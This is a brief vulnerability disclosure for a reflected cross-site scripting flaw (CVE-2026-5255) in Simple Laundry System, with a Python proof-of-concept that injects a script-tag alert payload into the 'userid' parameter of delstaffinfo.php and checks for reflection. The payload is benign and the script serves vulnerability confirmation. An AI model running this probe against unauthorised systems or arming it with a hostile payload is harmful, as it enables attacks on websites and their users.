CVE-2026-5255 Simple Laundry System跨站脚本漏洞

import requests # Target URL setup target_url = "http://target-ip/Simple-Laundry-System/delstaffinfo.php" # Malicious XSS payload to test the vulnerability # Payload attempts to execute a simple JavaScript alert xss_payload = "<script>alert('CVE-2026-5255_XSS_Test');</script>" # Parameters to be sent in the request params = { "userid": xss_payload } try: # Sending GET request to the vulnerable endpoint response = requests.get(target_url, params=params, timeout=10) # Checking if the payload is reflected in the response body if xss_payload in response.text: print("[+] Vulnerability confirmed! The payload was reflected in the response.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Vulnerability not confirmed or filtering is present.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred during request: {e}")